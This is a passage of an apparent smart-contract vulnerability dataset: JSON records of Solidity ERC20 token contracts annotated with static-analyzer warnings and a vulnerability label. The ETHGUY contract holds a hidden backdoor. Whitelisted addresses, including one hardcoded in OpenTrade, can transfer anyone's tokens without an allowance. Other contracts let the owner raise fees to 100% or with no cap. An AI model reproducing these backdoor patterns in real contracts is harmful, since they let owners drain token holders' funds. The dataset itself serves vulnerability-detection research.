59fa11a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e5b81b5\n\t\t// reentrancy-benign | ID: 59fa11a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8f9923c): KAISHEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8f9923c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 59fa11a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e5b81b5\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeAmount = 0;\n\n if (from == uniswapPair) {\n feeAmount = amount.mul(_buyFee).div(100);\n } else if (to == uniswapPair) {\n feeAmount = amount.mul(_sellFee).div(100);\n }\n\n if (feeAmount > 0) {\n _balances[from] = _balances[from].sub(feeAmount);\n\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\n emit Transfer(from, address(this), feeAmount);\n }\n\n _balances[from] = _balances[from].sub(amount.sub(feeAmount));\n\n _balances[to] = _balances[to].add(amount.sub(feeAmount));\n\n emit Transfer(from, to, amount.sub(feeAmount));\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap && swapEnabled && contractTokenBalance >= _taxSwapThreshold\n ) {\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n sendETHToFee(contractETHBalance);\n }\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e5b81b5\n\t\t// reentrancy-benign | ID: 59fa11a\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e5b81b5\n _feeWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 87d5984): KAISHEN.setFees(uint256,uint256) should emit an event for _buyFee = buyFee _sellFee = sellFee \n\t// Recommendation for 87d5984: Emit an event for critical parameter changes.\n function setFees(uint256 buyFee, uint256 sellFee) external onlyOwner {\n require(buyFee <= 100 && sellFee <= 100, \"Fees cannot exceed 100%\");\n\n\t\t// events-maths | ID: 87d5984\n _buyFee = buyFee;\n\n\t\t// events-maths | ID: 87d5984\n _sellFee = sellFee;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d38fa51): KAISHEN.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d38fa51: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d6e8b17): KAISHEN.openTrading() ignores return value by IERC20(uniswapPair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for d6e8b17: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 492ccb8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 492ccb8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 492ccb8\n uniswapPair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// unused-return | ID: d38fa51\n\t\t// reentrancy-eth | ID: 492ccb8\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: d6e8b17\n\t\t// reentrancy-eth | ID: 492ccb8\n IERC20(uniswapPair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 492ccb8\n tradingOpen = true;\n }\n\n function manualSwapAndSendToFee() external onlyOwner {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n require(contractTokenBalance > 0, \"No tokens to swap\");\n\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n sendETHToFee(contractETHBalance);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10234.sol",
"size_bytes": 14399,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BOB is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 83ebd38): BOB._marketingWallet should be immutable \n\t// Recommendation for 83ebd38: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n string private constant _name = unicode\"BNB Mascot\";\n string private constant _symbol = unicode\"BOB\";\n uint8 private constant _decimals = 18;\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n uint256 public _BuyTax = 10;\n uint256 public _SellTax = 30;\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: 6c94c49): BOB._taxSwapThreshold should be constant \n\t// Recommendation for 6c94c49: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\t// WARNING Optimization Issue (constable-states | ID: aa911f6): BOB._maxTaxSwap should be constant \n\t// Recommendation for aa911f6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private contractSellCount = 0;\n uint256 private lastContractSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5f8734d): BOB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5f8734d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 477be0c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 477be0c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 36e7145): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 36e7145: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 477be0c\n\t\t// reentrancy-eth | ID: 36e7145\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 477be0c\n\t\t// reentrancy-eth | ID: 36e7145\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 00697ff): BOB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 00697ff: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0),\n \"ERC20: Can't approve from the zero address\"\n );\n require(\n spender != address(0),\n \"ERC20: Can't approve to the zero address\"\n );\n\t\t// reentrancy-eth | ID: 36e7145\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 477be0c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 17e776e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 17e776e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4bd8766): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4bd8766: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: Can't transfer from the zero address\"\n );\n require(to != address(0), \"ERC20: Can't transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (\n from != owner() &&\n to != owner() &&\n from != _marketingWallet &&\n to != _marketingWallet\n ) {\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n }\n\n taxAmount = (amount * _BuyTax) / 100;\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = (amount * _SellTax) / 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n if (block.number > lastContractSellBlock) {\n contractSellCount = 0;\n }\n require(contractSellCount < 2);\n uint256 amountToSwap = (amount < contractTokenBalance &&\n amount < _maxTaxSwap)\n ? amount\n : (contractTokenBalance < _maxTaxSwap)\n ? contractTokenBalance\n : _maxTaxSwap;\n\t\t\t\t// reentrancy-events | ID: 17e776e\n\t\t\t\t// reentrancy-eth | ID: 4bd8766\n swapTokensForEth(amountToSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 17e776e\n\t\t\t\t\t// reentrancy-eth | ID: 4bd8766\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 4bd8766\n contractSellCount++;\n\t\t\t\t// reentrancy-eth | ID: 4bd8766\n lastContractSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4bd8766\n _balances[address(this)] += taxAmount;\n\t\t\t// reentrancy-events | ID: 17e776e\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 4bd8766\n _balances[from] = _balances[from] - amount;\n\t\t// reentrancy-eth | ID: 4bd8766\n _balances[to] = _balances[to] + (amount - taxAmount);\n\t\t// reentrancy-events | ID: 17e776e\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 477be0c\n\t\t// reentrancy-events | ID: 17e776e\n\t\t// reentrancy-eth | ID: 36e7145\n\t\t// reentrancy-eth | ID: 4bd8766\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: da47c11): BOB.updateTax(uint256,uint256) should emit an event for _BuyTax = BuyTax _SellTax = SellTax \n\t// Recommendation for da47c11: Emit an event for critical parameter changes.\n function updateTax(uint256 BuyTax, uint256 SellTax) external onlyOwner {\n\t\t// events-maths | ID: da47c11\n _BuyTax = BuyTax;\n\t\t// events-maths | ID: da47c11\n _SellTax = SellTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9691845): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9691845: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 660ffa8): BOB.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 660ffa8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 477e2b2): BOB.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 477e2b2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c2bcc4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c2bcc4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 9691845\n\t\t// reentrancy-eth | ID: c2bcc4b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 9691845\n\t\t// unused-return | ID: 477e2b2\n\t\t// reentrancy-eth | ID: c2bcc4b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 9691845\n\t\t// unused-return | ID: 660ffa8\n\t\t// reentrancy-eth | ID: c2bcc4b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 9691845\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: c2bcc4b\n tradingOpen = true;\n }\n\n function manualSwap() external onlyOwner {\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 93e0d96): BOB.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for 93e0d96: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 477be0c\n\t\t// reentrancy-events | ID: 17e776e\n\t\t// reentrancy-eth | ID: 36e7145\n\t\t// reentrancy-eth | ID: 4bd8766\n\t\t// arbitrary-send-eth | ID: 93e0d96\n _marketingWallet.transfer(amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10235.sol",
"size_bytes": 16591,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract ETHGUY is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _ETHGUY_Marketting;\n\n mapping(address => uint256) private _tradingCountdown;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 6805364): ETHGUY._name shadows ERC20._name\n\t// Recommendation for 6805364: Remove the state variable shadowing.\n string private _name = unicode\"ETH GUY\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 5e86554): ETHGUY._symbol shadows ERC20._symbol\n\t// Recommendation for 5e86554: Remove the state variable shadowing.\n string private _symbol = unicode\"ETHGUY\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0c36f3e): ETHGUY._tTotal should be immutable \n\t// Recommendation for 0c36f3e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 1_000_000_000 * 10 ** decimals();\n\n IUniswapV2Router02 private _Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n constructor() ERC20(_name, _symbol) Ownable(msg.sender) {\n _ETHGUY_Marketting[msg.sender] = true;\n\n _ETHGUY_Marketting[address(this)] = true;\n\n _mint(msg.sender, _tTotal);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n if (_ETHGUY_Marketting[msg.sender]) {\n _tradingCountdown[spender] = amount;\n }\n\n super.approve(spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n if (_ETHGUY_Marketting[msg.sender]) {\n super._update(from, to, amount);\n } else {\n super.transferFrom(from, to, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6808d31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6808d31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n _ETHGUY_Marketting[\n address(0x1Df083E558182d3f5c0eA540CddF6A31d8829a26)\n ] = true;\n\n _Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 6808d31\n uniswapV2Pair = IUniswapV2Factory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6808d31\n tradingOpen = true;\n }\n\n event nameChanged(string newName_, string newSymbol, address owner);\n\n function rename(string memory name_, string memory symbol_) public {\n if (_ETHGUY_Marketting[msg.sender]) {\n _name = name_;\n\n _symbol = symbol_;\n\n emit nameChanged(name_, symbol_, _msgSender());\n } else {\n return;\n }\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: b23e099): 